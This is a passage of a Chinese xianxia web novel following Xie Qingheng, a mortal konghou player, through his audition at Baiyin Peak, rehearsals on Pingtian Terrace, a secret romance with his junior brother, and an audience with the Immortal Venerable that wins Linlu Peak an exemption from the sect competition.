灵气氤氲成薄雾,环绕于黛瓦朱墙的宫殿群上,高峰错落,这些宫殿群也错落而建,山峰陡峭,修饰着千年罗汉松,各种植物争奇斗艳,增添了许多生气。 在如此高的地方,流云不再是不可触摸的神话,反倒成了这里不可或缺的点缀。 谢青珩轻声道:“这便是洞天吗?” 周侧为他解释道:“是也不是,这里还只是仙尊洞天的衍生物罢了。” 谢青珩看着底下的连廊,长得仿若是隐于云中的红色长龙,连通各处山峰,里面弟子交错而行,各自去往各自的地方,又有人乘异兽穿行,或是凭空而行,所过之处,众人垂首。 周侧对他们身后的谢家人说道:“我等要前去临渡峰整顿,就不与你们一起了。” “周峰主说的是。”谢玉灵来往频繁,自然知道该如何做,只是有些可惜没将谢青珩留下,但来日方才,总归是有机会续一续兄妹之情。 云随雨则更加直接说道:“表弟,来日得空来我们天剑峰坐坐,还可以带上你小师弟,鄙人不才,还是能指点一二。” 等他们走后,周侧才说道:“你们少跟他们来往,什么御水峰,什么天剑峰,当年,连给我提鞋都不配。” 叶言旭当即道:“可今时今日又不是彼时彼日,师父还是别怀念了。” 周侧没给叶言旭眼神,而是说道:“青珩我已经安排好了,你们几个也要提上日程了,宗门大典在即,还算有些时日可作周旋。” “这些时日,你们好好去其他峰看看吧。” 叶言旭皱眉道:“老、师父你带我们回来就是要托孤吗?” 谢青珩道:“不可胡说,小师弟,师父也是担忧宗门大比。” 周侧斜睨了眼身后的徒弟道:“你们几个,没一个入第二境登仙门的,宗门大比想都不要想了。” “反正你们学的也杂,我玄天宗以此闻名的主峰也有,何必沦落成旁峰?” 仙鹤落地,谢青珩从天马上下来,看着周侧呼出一口气,大风灌入久无人烟的山峰,吹走堆积成山的灰尘,擦洗黯淡的牌匾。 也再度磨洗石碑上刻下的字。 时过三十年,临渡峰终于迎来了峰主和弟子。 14.百音峰 “仙尊居天外天,不与吾等同,”周侧领着谢青珩遥望玉阶之上,登天之梯也不外如此,其上却茫茫似无物,“大毅力、大修为者才可攀登玉阶,以求面见仙尊的机会。” “可好徒儿,你也知道你师父没有大毅力也没有大修为。” 周侧双手一摊,颇有些无赖地笑道:“不过好在,你师爷当年留下个人情,今个儿正好用了。” 谢青珩眼睫被刺激出来的泪水打湿,不由自主地低下头颅,他是个毫无修为的凡民,若非周侧在旁,恐怕到这里瞬间就会被威压碾碎。 两人没等多久,就有玄衣童子自玉阶而下,每一步都走得稳稳当当,直到他走到两人面前,谢青珩才看清玄衣童子的真容。 玉雪可爱,看似与五六岁的小孩差不多,但一双黑瞳深不见底,好似能看清人心。 玄衣童子道:“周峰主终于回来了啊。” 周侧嘿嘿一笑,全无风度道:“真君唤我小周就行。” “出去溜了一圈,人也聪明了些,”玄衣童子似笑非笑,目光俄而落在谢青珩身上,从上到下,自谢青珩发间长簪再到今日的穿着,停留最长的还是谢青珩的脸,“还带回了个标致的美人。” 周侧介绍道:“这是我大徒弟,谢青珩,还不来拜见真君!” 谢青珩立即上前颔首鞠躬道:“晚辈谢青珩拜见真君,今日得见真君,乃是晚辈之幸,恭祝真君仙道昌隆。” “有点意思,大徒弟……”玄衣童子意味不明地笑了声,“你确定要用掉玉还真的人情?” 玄衣童子提点道:“你这大徒弟后天有缺,天地之桥崩断,非大神通者不可续,然而仙尊闭关已久,吾亦没有把握能将消息递到仙尊面前。” 后天有缺?谢青珩漂亮的眼眸微滞,刚燃起的火焰就此熄灭。 “秉真君,我等已经想好。” 玄衣童子见周侧下定决心,摇了摇头道:“既然你愿意,吾便为你试一试。” “不过自此之后,吾与玉还真因果相抵,宗门大比就要看你们自己了。” 周侧笑道:“谢真君提点,我回来时已经做好准备,大不了就像之前那样四处流浪。” 玄衣童子的目光再次落回谢青珩身上,他在天上呆久了,忽然见到容貌似雪似月的凡民,也是多了几分趣味,他看着谢青珩脸颊旁边的箜篌耳坠,给出了另一条路:“吾见你擅长音律,不若去百音峰试试,或许有一线生机。” 谢青珩再拜:“多谢真君。” 玄衣童子摆摆手:“就这样吧,小周,你这大徒弟跟你从前很像啊。” 周侧与谢青珩再度送玄衣童子离开。 等两人回去之时,周侧开口道:“托你师爷、我师父的福,临渡峰现在就是个火栗子,捧不得留不下。” 谢青珩问道:“师爷做了什么事?” 周侧看向远处的山峰道:“你师爷当年也算是惊才绝艳的人物,可惜为了成就第四境四方君,得罪了半数主峰,他身陨道消也算个痛快,就可惜了我们师徒几个,到现在还在偿还你师爷留下的债。” “你师爷得罪最狠的就是御水峰的峰主,听说前几年还在找你师爷留下的身外化身,可惜你师爷没登临四方君,反倒被雷劫业火清算,所有手段都无济于事。” 周侧脸色漠然,像是诉说一个无关紧要的故事。 谢青珩不忍道:“师父伤心,徒儿知道。” “呵呵,”周侧大笑,脸上再次浮现混不吝的神色,“我高兴还来不及!好徒儿,你就当没这个师爷吧!” 周侧没再说起往事,谢青珩也没有再提。 仙鹤落于一处仙音飘飘的山峰平台上,不远处,已经有许多弟子席地而坐,拨弄着各种乐器。 这便是百音峰。 周侧带着谢青珩穿过人群,原本还在演奏的弟子顿时屏住了呼吸,他们的视线都被谢青珩吸引,直至两人走过,才敢开口。 “这是哪一峰的师弟?竟然生得如此清绝……” “看着不像是那几峰的弟子,美人榜上居然也没有名字,这倒是奇了怪了。” “再好看也没用,”其中一个弟子嗅着淡淡清香道,“他是个凡民。” “凡民?!” “竟然是凡民!” 有弟子眸光闪动:“凡民也好啊,留在这里做个外室……” “别想了,你们没看到他旁边站着的是谁?临渡峰的峰主。” “临渡峰?!” 在场瞬间议论纷纷。 他们谈话间,谢青珩已经跟着周侧走到了一处音室。 大约有上千人的规模,编钟、编磬、丝弦、排箫、笙、埙、鼓等一众乐器一应俱全,演奏之时,声音宏大肃穆,瞬间将人带入辽阔无垠的浩大氛围之中。 两人的到来没有打乱音乐的进程,人人都庄重严肃,不敢有丝毫分心。 站在最前面的人无声来到两人面前,请他们去旁边一叙。 那人看起来约莫三十来岁的模样,轮廓硬朗,眉骨深邃,薄唇如刀,衬得周侧更萧条老迈了几分。 周侧率先开口道:“南华,我来是有要事拜托你。” 南华看向谢青珩:“为你这个徒弟?” 谢青珩朝南华行礼,后者视线从他脸上移开,看着小巧的耳坠,道:“你这弟子也学箜篌?” 周侧凑近,嬉笑道:“这是我大弟子,一手箜篌弹得那叫一个好,正好你们不是在筹备大典礼乐吗?加一个我弟子怎么样?” “不怎么样,”南华皱眉,“你这大弟子容貌虽然出挑,但到底是个凡民,怎么能适应百音峰弟子的节奏?” 周侧道:“这个好说,我已经为青珩炼制一套法衣,足以抵挡音波,青珩身体不好,但也有丹药养着,碍不着什么事情。” 南华还是没有松口:“老周,不是我说,选去大典上的弟子都是成百上千考核出来的,技艺方面更是没得说,突然加一个人进来,谁能保证不会激起他们反对?再说,你这弟子的技艺……” 周侧叫谢青珩上前,道:“南华,你且听听再做决策。” 末了,周侧补充一句:“我徒儿箜篌弹得极好,仰慕音律一道,我只是想让他跟着你们钻研,实在不行,就让他在你们这旁听就好。” 谢青珩知道得拿出真才实学了,他恭敬地说道:“请上人应允青珩一试,如若不成,青珩绝不纠缠。” 南华沉默,他看了看谢青珩,又看向满脸期待的周侧,就当为了昔年情谊,他挥袖道:“你且一试吧。” “谢上人应允。” 周侧朝谢青珩点了点头。 谢青珩服下一枚药丸,跪坐着轻拨耳坠,玲珑的箜篌霎时恢复原样,稳稳落在谢青珩怀中。 箜篌声音清越悠扬,音域宽广,又分两层丝弦供弹奏者使 用,本身其实并不复杂,但要演奏出动人的音乐,就需要配合弹奏者高超复杂的技巧。 南华起初并不在意,毕竟箜篌易学,即使自学,也能很快掌握曲谱,并不算什么难事。 最重要的是南华压根不信一个凡民能将箜篌弹出什么花样,天道有灵,万事万物皆能入道,若真弹得好,就该凭音律入道。 区区凡民,听过百音峰弟子演奏,居然还敢痴心妄想。 南华看轻谢青珩,也连带着看轻周侧。 昔日天骄好友,跌境之后,思想竟然也跟着尘烬腐朽。 南华盘算着这段人情到此结束,却忽的听到“铮”的一声,如微冷清风荡去心上尘埃,叫人忍不住沉下心来去听。 谢青珩极擅箜篌,不仅因为这是周侧为他选择的乐器,还因为这是他唯一能拿的出手的东西。 凡民二字困住他前二十三年,唯有箜篌能让他从迷茫昏然中醒来,于尘世之中找到属于自己的锚点。 谢青珩纤长的手指跳跃在丝弦之上,每一次动作都如此赏心悦目,更有清美的乐声从他指尖泄出,如不可抵挡的水流般冲垮南华心中的防线。 空灵之声飘逸在百音峰上空,清脆通透的声音安抚着焦躁的情绪,叫原本演奏着的弟子们停下动作,细听之后,纷纷看向谢青珩所在的地方。 南华僵直地看向天空,吟道:“空山凝云颓不流……” 百鸟聚集,树枝都被压得弯了腰。 谢青珩却知道还不够,要让人破格留下他,必须拿出旁人所不能及的本事。 一曲缓缓奏罢,众人还在回味之际,谢青珩指法忽变,流露出来的音色也与之前大相径庭。 南华几乎立刻听出了谢青珩所演奏的曲子,就是他们刚刚弹奏的祭天之曲! 因为箜篌音域极广,谢青珩几乎能复刻刚才听到的音阶,使之完整地呈现在众人耳中。 南华自然也听了出来,甚至还能听出谢青珩为了演奏的顺利和契合箜篌的音色,对曲谱的细微改良,庄重肃穆之中多了些许轻灵,使这支略有些苦闷的曲子轻盈起来,更有仙韵。 “当真是飞泉漱玉之声。”百音峰弟子轻叹。 百音峰弟子在乐器上自傲,当然也要承认别人的天赋,可以说在百音峰只要演奏得好,自有弟子为其说情。 周侧看着四周聚集的弟子,又看向频频点头的南华,满意地勾起嘴角。 他这个弟子,在箜篌上面的造诣,那是无出其右! 周侧自信,等谢青珩演奏完毕后,他拍了拍南华的肩膀道:“老兄,你说我这弟子怎么样?” 南华沉吟道:“自当是钧天广乐,难得啊难得。” “这样的造诣如何没能入道呢?”南华看向谢青珩,目光如刀,似要将谢青珩内外看透,眼中逐渐浮现可惜之色,“白壁有瑕,可惜可惜。” 谢青珩蓦然低下头,先前升起的心思瞬间被压没,紧张地等待南华最后的审判。 南华道:“罢了,你暂且跟着学习罢,能否参加大典,还得宗主来定夺。” 再貌美的凡民也是凡民,再天才的凡民也是凡民,让一个凡民在大典上演奏,已经算是不敬。 周侧笑道:“谢过了南华道兄了。” 回去的路上,周侧却叮嘱谢青珩道:“那些都不重要,青珩,真正重要的是平天台,那里是所有山峰之中,离天最近的地方。” 15.失落 谢青珩走在队伍末尾,箜篌化作耳坠,随着他的行动微微摇晃,百音峰的弟子有些如他一样收好乐器,有些则是抱着乐器。 南华前辈和师父联名将他的名字递到了宗主面前,才换来了跟随乐部去平天台排演的机会。 在此期间,谢青珩不敢有丝毫松懈和失误。 虽然只是次排演,所有乐修也都穿着正红色的礼服,神态庄严,宛若泥塑的神像,打眼望去仿佛千人一面。 即使这样,谢青珩也仿佛是枯红中的一点亮色,明明穿着同一件礼服,但人与人的差距实在太大,有如天堑,连跳过的希望也没有。 正红色的礼服将谢青珩衬得尤为白皙,日光照下来,更有种玉石般莹润的剔透,他长相清绝,似岭上雪似枝头玉兰,纯洁无瑕,更显正红的艳丽,两者交融,非但不突兀,还有种艳丽颓靡之感。 平天台在众山抱合之顶,仙鹤只敢落在山脚下,丝毫不敢飞跃轻薄无物的白云。 鹤鸣声愈发飘然,似滴水涟漪,一圈圈得消散,可谢青珩仍然抿着嘴唇,眉间蓄起少有的郁气。 同他站在一排的乐修是个魁梧的英俊男子,名叫桑游,乍一看像是体修,但他确实是以音乐闻名的乐修。 桑游的鼓收在储物袋中,他两手空空,脸上还带着揶揄之色:“道友还生气呢,那鹤王快到发情期了,难免言行无状。” 谢青珩难为情地别开脸,今日追月被师父带去寻了门妖修之法,没办法来送他,故而谢青珩只能选择仙鹤。 奈何鹤王好像一直在临渡峰盘旋,见谢青珩要出行,啄开围在谢青珩身边的仙鹤,又卖萌耍乖,谢青珩一时心软就应下了。 没想到鹤王在送他来平天台时耍了心机,众目睽睽之下又跳了遍求偶舞,这下整个乐部的人都知道鹤王看上他了。 “不过鹤王要是踏入第二境,就能化为人形,”桑游看着谢青珩脸颊上的绯红,忍不住凑近说道,“鹤王还算有些跟脚,来日也未必不能成就大妖,道友就不心动吗?” 谢青珩羞愤道:“道兄何必如此折辱我!” 桑游呵呵笑道:“入了仙途,人与禽兽的界限哪有那么清晰,等鹤王登仙台,必定会入我宗内门,成为亲传也不是没影的事。” 谢青珩道:“不可能!我便是没有道侣,也断不会应允这件荒唐事。” 桑游拉长语调,有些可惜地“哦”了一声,他看着谢青珩被抿得红艳的嘴唇,心头痒意更甚。 生得如此好看的凡民,若无临渡峰庇佑,早就成了宗内不知何人的炉鼎。 不过也快了,玄天宗人尽皆知,临渡峰渡不过宗门大比,很快就会沦落为旁峰,这位传闻中的临渡峰大师兄,也会很快跟着临渡峰一起凋零。 桑游喉间干涩,谢青珩总是站在他身边,那股子幽香总是钻入他鼻腔,弄得他火意更旺,差点了出了洋相。 谢青珩没答应鹤王的求偶,让他可惜不已,毕竟一个人若是连还没有化形的禽兽都能接受,那距离成为公用炉鼎又有多远的距离? 更何况是朝生暮死的凡民。 谢青珩没能察觉到桑游眼底一闪而过的暗光,尘世行走时他有师妹师弟,轻易不会招惹上人,到了玄天宗,名门正派的弟子也不会说些恼人的荤话,让他以为玄天宗个个都是一心向道、不恋情爱的正道。 不过就算知道了,谢青珩也不会太在意,毕竟他真正的任务是去到平天台上弹奏一曲,是成是败就看这些天的努力了。 师父搭上人情为他寻来的机会,他无论如何也不能辜负师父。 谢青珩心如止水地扫过众人头顶或蓝或淡紫命运线,在预先设好的位置坐下,箜篌恢复原型,他指尖虚搭在丝弦之上,整装待发。 玄天宗里的凡民比尘世里的修士还少,谢青珩初时的惊讶在这些天的洗礼下再泛不起一丝波澜。 鼓声如约响起,所有人迅速进入状态。 南华严肃苛刻的目光落在每一个人身上,直到确认他们无误以后才稍稍移开。 庄严恢弘的声音再度响彻云霄,平天台上,离仙尊最近的地方,终于能有乐声传入天外天,传入仙尊耳中。 音乐一道,任何细微的失误都会成为搅坏一锅汤的老鼠屎,南华对待峰内弟子严苛,不仅是因为他的责任,还因为这是整个玄天宗最重要的事情。 仙尊久居天外天,玄天宗久不曾降临尘世,于云外之地,画地为牢。 南华眯着眼倾听着合奏中清冽的箜篌之音,他望着谢青珩,希望他的箜篌能够带着沉重的音乐流入天外天。 可惜,直到排演三遍,也未曾有任何异像。 南华心底说不上是失望,他早预料到这点,宗门大典举办过数次,他也曾燃起希望数次,终归还是徒劳无功。 仙尊临尘的往事,也快要成为长老们口口相传的故事。 谢青珩白着脸再吃了一粒药丸,才压下心脏快要跳出的感觉,他预先已经吃过两颗,没想到也只能撑过三次排演。 平天台离天实在太近了,火辣辣的太阳晒在身上,像是进火炉一般,若非师父提前给他画了几个法阵,他恐怕还撑不到这么久。 谢青珩望着天空,直到眼前出现些许重影,才低下头。 因着是在平天台上,再胆子大的弟子也不敢在交头接耳,即使南华没有继续让他们排演,所有人或是原地沉思,或是拨弄乐器。 乐声飘飘,飞上天空,也落在各峰之上。 月升日落,霜华降下,一整天也快要结束了。 谢青珩再回头看了一眼,心底失望让他眼眶有些酸涩,这一眼既是期盼,又是疑惑。 他总感觉,有什么人在看着他。 但平天台上毫无异像,谢青珩也觉得是自己多想了。 鹤王在梳理羽毛,谢青珩看着它悠闲的模样,胸膛中的郁气也不知不觉消散。 一切自有缘法,何必困于一时。 谢青珩不再犹豫,他走到鹤王面前,转身向南华辞行。 南华神情依旧严肃,他看向谢青珩,眸底幽深,罕见开口道:“今天演奏得不错。” “多亏南师这些日子的教导。” 南华抬手挑起谢青珩额角处的长发,将其别于谢青珩耳后,手指的温度也擦过谢青珩肌肤。 男人的指节粗粝,像是一块磨损过度的木头,谢青珩定定看着南华,后者噙着师者温润的笑意,没有丝毫异样道:“很晚了,快回去吧。” 南华嘱咐道:“下次注意仪态。” 谢青珩心下松了口气,他感激道:“多谢南师。” 鹤王展翅高飞,谢青珩坐在鹤王坚实的羽毛上,任由大风吹来,将他未挽紧的头发都垂落。 “原来月亮竟是这般大。”谢青珩只觉得自己抬手就能碰到,他也确实这么做了,可惜巨大的黄色月亮还是那 么遥不可及,可是当他感受到轻柔的风穿过他指缝时,怎么也舒展不开的苦闷也被风带去。 谢青珩看着越来越近的烛火,高空之下星点成片的火光凝为一点,带给他前所未有的满足。 此时本该是万籁俱静之时,却有人挑着灯笼在等他。 谢青珩朝鹤王道谢后,大步走向等候不知多久的人,他道:“小师弟。” 叶言旭牵着谢青珩有些冰凉的手,低声道:“今天怎么样。” 谢青珩一五一十说起平天台上的事情。 叶言旭安慰道:“谁不知道仙尊不问世事已久,大师兄你第一次上去,要是能引动仙尊,恐怕连宗主都要过来看。” “再说了,你还有我呢。” 周侧关于徒弟的安排从来都没有隐瞒他们。 临渡峰根基太薄,前任峰主玉还真为了成就四方君,不仅掏空了临渡峰底蕴,还得罪了不少其他第三境燃业火的峰主,现任峰主周侧又只是第二境登仙台的修士,他们徒弟几人虽胜于尘世修士,但放在玄天宗中就没有任何可比度。 还不若趁着宗门大比没开始,将临渡峰卖出个好价钱。 周侧做主,大头给了谢青珩去求仙尊怜惜,小头再由他们几个均分。 几人也没什么意见,这些年周侧常年不管事,大多数时间都在赌坊厮混,做出过许多糊涂事,都是大师兄谢青珩带着众人长大,可谓是既做阿母又做阿父,才拉扯着几个师妹师弟成年。 他们又不是不懂感恩,即使师父不说,也会这么做的。 谢青珩握紧叶言旭的说,心底涌动热流,他说道:“我不会放弃的,小师弟,这次不成,还有下次,在大典之前,就还有机会,只要成功一次,所有努力都是值得的,我不想辜负自己,更不想辜负师父和你们的付出。” 叶言旭点头,他们师门众人,谢青珩付出最多,却总是因为凡民的身份觉得麻烦了他们。 叶言旭其实想说的是他们付出的没有谢青珩多,可是当他看着谢青珩眼底的青黑时,也就全部劝说的话咽了下去。 大师兄决心到了这种地步,他做师弟的也不能拖了大师兄的后腿。 两人磨蹭一会儿,叶言旭还是俯身吻住了谢青珩的唇,谢青珩熟练地环住叶言旭的脖颈。 灯笼落地,烛火却还是稳稳当当。 静谧的夜里,是他们为数不多可以光明正大的时候。 叶言旭用力吻着谢青珩,像是要把怀中的人拆吃入腹,换气间隙,谢青珩抵住叶言旭压下来的胸膛,眼中水波潋滟,唇色红润,虽一言不发,但叶言旭也知道其中的拒绝。 可是那又怎么样,大师兄从来不会拒绝他。 如叶言旭所想,在他坚决的攻势下,谢青珩到底还是松开了手。 正当两人吻的难舍难分之际,草丛中传来声响,他们同时望向声源地,却不见任何人影。 叶言旭皱眉走过去,在草丛中找到一枚没有熟透的青果。 谢青珩放下心来,两人又抱了一会儿,才恋恋不舍地分离。 接下来的时日,谢青珩照常去百音峰,也照常跟着去平天台上排演。 第三次时,谢青珩熟练弹起箜篌,可不知何时,他周围的丝弦声渐渐停下,除他之外,万籁俱静。 一抹亮光遮蔽他的视线,无尽光亮之中,宏大的声音自四面八方响起。 祂问:“汝欲何为?” 16.无异 谢青珩没有犹豫,当即就起身拜见虚空之中的仙尊。 这些日子他努力了很久,每当他觉得自己能够引动仙尊时,放下箜篌,也没有任何回音,他只能再加紧训练,将自己绷成弯月状的弓,在这样极端的压力下,他才发现自己的箜篌仍有不少细微的瑕疵。 谢青珩刻苦地修正每一个瑕疵,打磨着自己的技艺。 也因此,他回绝了小师弟许多亲热的请求,减少了对外交流的时间,让自己沉浸在拨弄箜篌所产生的乐声里。 只有在那里他才是自由的,才是无所不能的,才能掌握自己的命运。 如今,他所渴求的,终于在他不倦的追赶中,降临在了他身上。 谢青珩不敢隐瞒仙尊分毫,将事情的始末都一一叙述。 “请仙尊勿要怪罪师父,一切皆由青珩所起。” 虚空中的声音没有半点波澜,祂说:“吾已知,但你的机缘不在此世。” “换一个罢。” 谢青珩咬牙,无尽惶恐吞噬着他的信心,他想起玄衣真君所说的话:“后天有缺,天地之前崩坏。” 他所坚持的化为胆气,支撑他颤抖着语气向仙尊再度发问:“敢问仙尊,弟子身上异常由何而来?” “六亲浅薄,血债成仇,你出生时,便有此劫,但天道贵生,仍有一线生机,好了,此事涉及天地因果,你若再问,就没有下一个机会了。” 谢青珩不敢再纠缠,最后一个机会不能被他白白浪费掉,他想起破败的临渡峰,想起宗门大比。 五年开启一次的宗门大比,不仅决定着资源和优秀弟子的去处,还决定着主峰和旁峰的区别。 师父拿临渡峰换他入道,如今自仙尊口中得知他仍有生机,就不该将所有筹码全部抛掉。 电光火石之间,谢青珩已经做出了回答:“恭秉仙尊,弟子求仙尊再允临渡峰豁免宗门大比。” 此前,周侧带着弟子们常年在外,已经陆续用光临渡峰的主峰豁免权益。 “只此一次,再不为例。” 清风吹拂,谢青珩仿若黄粱一梦般初醒,指尖凝滞,漏掉一拍。 恍惚的思绪在触及到南华深不见底的眼眸时回神,他方才不知为何漏了一拍,整个人也仿佛是被从无边广阔之地抽离,塞进有些沉闷的躯壳中。 谢青珩努力抵抗着太阳穴传来的阵阵痛意,不着痕迹地跟上整体音乐,但结束时,他还是心悸不已。 桑游看着谢青珩吞服药丸,给了他一个疑惑的眼神。 毕竟谢青珩这些天来的刻苦和进步,众人有目共睹,桑游都暗自惊叹谢青珩的进步,却没想到对方在平天台上失误了。 谢青珩放下箜篌起身向南华承认错误,可出乎意料的,南华摆了摆手,并没有多说什么,只是让谢青珩不要再失误了。 排演结束后,谢青珩恍惚地摸着耳坠,总觉得自己忘记了什么。 南华眸似寒潭,宽大的手掌像是抚摸小动物般抚摸着谢青珩的背脊,他道:“不碍事的。” 他看向平天台,在离天最近的地方,这里也曾是鏖战之所。 南华嘴角缓慢勾起,他还不适应操纵肌肉,使得肌肉产生明显不协调的拉扯。 谢青珩冷不丁打了个寒颤,绕开南华,可背脊上仍然残留对方手掌的温度。 南华道:“回去罢。” 百音峰没有难听的声音,就连枝头雀鸟都能排座着倾听弟子的乐声,还有些仙鹤随着乐声翩翩起舞,又或是顺滑加入其中。 偌大的山峰,宫殿阁楼比比皆是,硬生生堆砌出过于繁华的视觉效果,好在百音峰弟子足够多,多到这些宫殿阁楼都莫名拥挤起来。 谢青珩同叶言旭一道从仙鹤上下来,他们来得恰逢其时,正有长老在考核想要入门的杂役。 玄天宗避世多年,凡尘少有知晓,但修士之间却能互通有无,使些手段搭上人情,还是能进玄天宗,还有些是玄天宗时代传承的杂役,一代又一代,只要坚持下去,未尝没有出头的日子。 今日,也正是一位杂役以乐入道,受长老考核的日子。 杂役入门是各峰之间心照不宣的传统,既是给杂役们一个希望,又是提点弟子的好机会。 谢青珩轻垂眼帘,目光落在杂役手中青翠的竹笛上。 碧绿青翠的管身颜色均匀,光亮如新,一看便是主人用心保养过的。 杂役吹起横笛,笛声就跟他的脸庞一样青涩,但特有的生命力总让人回想起过去,童年和少年时光就像是流水,握不住,但能记得流经手臂的感觉。 笛声结束,雀鸟也寂然,长老不出意外地递给他一枚弟子令牌。 杂役也就成了新弟子。 命运就是这样无常,入道的机缘也像是漫天飞舞的雪花,难以接到属于自己的一片。 叶言旭握住谢青珩的手,给以他支撑的力量。 在叶言旭能记得的童年,谢青珩已经是个能熟练弹起箜篌的小少年了,声音青涩,但也有着他独有的风格。 几乎所有人都以为谢青珩能够以乐入道,踏上仙途,可是辗转多地,寻求许多办法,终究还是一无所获。 后来,论技艺,论情感,谢青珩都没有找到对手,可昔日败于他手中的乐师大都入道,唯有他,无论如何也无法触及旁人所说的‘道’。 叶言旭知道那段时间谢青珩有多伤心,只是他那时候太小,无法给予准确的支撑,而今不一样,他是大师兄的道侣,自然能够承担得起肩上的责任。 谢青珩嘴角笑意轻淡,他习惯了,况且如今又不是没有丝毫希望,他垂眸只是在杂役身上看到了自己过去的影子。 百音峰弟子大都认识谢青珩,因着那张清美绝伦的脸,也因那首让南师都心悦诚服的箜篌。 可他到底是凡民,再美,技艺再好,也是朝生暮死,没有任何结交的价值。 还有些却截然相反,他们或资质有限,或想找些乐子,只是在南师的压制下,收敛了些许秉性。 谢青珩看不出他们阴暗轻蔑的眼神,可叶言旭看得出。 他知道玄天宗的弟子眼高于顶,毕竟世外仙宗的弟子当有此等傲骨,可大师兄不一样,叶言旭固执地认为大师兄只是入道晚罢了,他不允许旁人直白露骨的目光落于谢青珩身上,而大师兄什么也不知道地走进他们的领地。 叶言旭此次和谢青珩一起来就是想要震慑那些对大师兄心怀不轨的弟子,让他们清楚,谢青珩身后是有师弟的。 “道友,这是你之前说的小师弟?”桑游毫不见外说道。 叶言旭虽然知道不该以貌取人,但桑游这副样子实在不像是以美人闻名的音修。 谢青珩解释道:“这是桑游道兄,他的战鼓尤为不错,近来也是颇为照顾我,桑游道兄,这是我的小师弟,叫叶言旭。” 叶言旭换上一副热情的面孔,他上前说道:“原来是桑游道兄,这些日子多谢你照顾我家大师兄。” 桑游爽快笑道:“说什么照顾不照顾的,大家虽然是不同峰的,但也好歹是玄天宗同门,都是该做。” “好了,别客气了,小叶道友是吧,”桑游指了指旁边亭子,“南师马上就要过来了,你去那边听着,千万别触了南师霉头。” 谢青珩捏了捏叶言旭绷紧到坚硬的手,解释了句:“南师这些天严格了些,不许旁人随便进出场地,小师弟,你乖乖在那,等结束我们一起回去。” 人在屋檐下不得不低头,叶言旭听从了谢青珩的建议,他站在亭子里,目光一眨不眨地盯着弹奏箜篌的谢青珩。 南华这些天简直像是换了一个人,若非他兄长是百音峰峰主,众人还以为他被什么夺舍了。 但这个玩笑是不能放在明面上来说的,他们只以为南师是因为宗门大典将近,行为出现了些许异常。 恢弘的祭乐再度响起,这一次,南华不再观望,而是缓步向前,闲庭信步地纠正他们的音乐。 灵气如水般穿过所有人,纠正他们自己都察觉不到的失误,或是加以改进,润物细无声般将正确的方法刻在他们心上。 谢青珩眼睫颤动,像是振翅欲飞的蝴蝶,背脊上无形的灵气打开臂膀,手指轻柔地划过他紧绷的肌肤,使得他的曲风越发圆和,游鱼入海般畅通无阻。 只是,谢青珩轻轻蹙眉,他总感觉那股灵气仿若有了不该有的温度。 可南师目光未变,依旧严苛地纠正着他身边弟子,谢青珩还是觉得是自 己多思多虑之下,才想多了。 休息间隙,谢青珩小跑着去找凉亭下的叶言旭。 这么多年下来,叶言旭也算是被谢青珩熏陶出了些许音乐修养,他揽住谢青珩的腰,旁若无人地与之窃窃私语起来。 桑游眯起眼回答着身边人的问题:“哦,临渡峰的小师弟。” “听说还能跟云真传过两招。” “天剑峰的云真传?” “不然呢,能被称为云真传就只有那位。” 云随雨剑道天赋极高,刚入门就引得天剑峰峰主降临,收他为真传弟子,而后万剑齐鸣,真正坐实了他天生剑骨的传闻。 有人小声道:“那凡民好像是云真传的表弟。” “表弟?他一个凡民怎么会跟云真传扯上关系,说不准还是借表弟之名养的外室炉鼎呢。” “不对,云真传的姨母是谢家大夫人,他还是谢家人?” 他们终于把谢青珩的名字同那个高高在上的世家联想起来,顿时感到汗毛直立。 桑游心下一惊,瞬间想起御水峰那位真传,谢玉灵,她和云随雨同是备选道子,竟然和同一个人关联起来。 幸好他没有出手。 南华将他们的讨论尽收于耳,眼底波澜不兴,他看着凉亭下互述衷肠的两人,青春面容,遮掩不住快要溢出来的爱意。 但凡是有阅历的人,都能看出两人之间的不寻常。 什么大师兄小师弟,分明是对不敢过明路的野鸳鸯。 真是可惜啊。 谢青珩无措地环顾周围,发现没有察觉后,才放心地让叶言旭借着长袖的遮掩搞小动作,他说道:“你也看到了,我在这挺好的,等这段时间过了,我陪你去天剑峰一趟。” 叶言旭揉捏着谢青珩手腕,不轻不重道:“我就想陪着大师兄,再说了,何归去中还有几套剑法,何必舍近求远。” “可你总要去看看其他剑修。” “看了又能怎么样?”叶言旭真挚发问,“大师兄也觉得我和何归去不如天剑峰吗?” 谢青珩无奈叹气:“达者为师,闭门造车终究走不长远。” “老气横秋的,笑一笑嘛大师兄,你笑一下,说不定仙尊就下凡了?”叶言旭玩笑般扯了扯谢青珩嘴角,做出一个笑脸。 谢青珩恼怒地打了叶言旭一拳,非但没打疼,还让叶言旭蹬鼻子上脸。 见叶言旭故复萌态,谢青珩干脆转身道:“不跟你说了,我去练箜篌了。” 谢青珩走了一步不到,叶言旭就扯住了他的袖子,谢青珩踉跄地抓紧叶言旭衣襟,咬唇道:“你疯了不曾!” 叶言旭笑道:“我就是疯了,大师兄这几日不理我,我也忍了,可今天我不想忍了,我们本来就在一起了啊。” “师父接受不了……”谢青珩没底气道。 “究竟是师父接受不了,还是大师兄不敢说。” 叶言旭眸底清澈,倒衬得谢青珩有苦难言。 谢青珩慢慢松开指节,他道:“等我见过仙尊再说,小师弟,凡民怎么能陪你一世?” 叶言旭沉声道:“凡民又怎么样?反正就只有我们两,管他们怎么看,等我为你寻来延寿之法,还不是能和第一境伏流寿数差不多。” “不一样的……”谢青珩轻轻道。 两人说话间,青鸾传音,绝美的身姿于风中舒展开,一道卷轴落下,青鸾又飞入云间,华美的羽翼在云层中隐隐约约,便再也找不到它的行踪。 谢青珩还来不及记下青鸾的羽翼,便见卷轴无风自开,金色的字体随着沉稳的男声响起:“仙尊有令,念玉还真昔日功劳,及周侧大弟子谢青珩箜篌之音,再赐临渡峰一枚豁免令,持次令,不下主峰,但需参加大比。” 临渡峰豁免了太多次宗门大比,今日赐下临渡豁免令固然让许多人生气,但仙尊并没有完全豁免临渡峰,为了来年的资源,他们还是要参加大比,决定名次。 但好在,临渡峰短时间内不会有跌落旁峰的危险。 众人反应过来,目光齐齐投向谢青珩,如果他们没听错的话,仙尊垂怜其箜篌,竟然借着前任峰主的名头,为谢青珩开路。 平天台上的传闻竟然都是真的。 17.名传 仙尊垂怜临渡峰之事迅速传遍各大峰,连带着谢青珩的名字也被无数次提起。 其中反应最大的就是百音峰,他们心知谢青珩箜篌弹得好,但也没想到对方弹得这么好。 神出鬼没的百音峰主南溟也特意将谢青珩的名字正式加入了临渡峰。 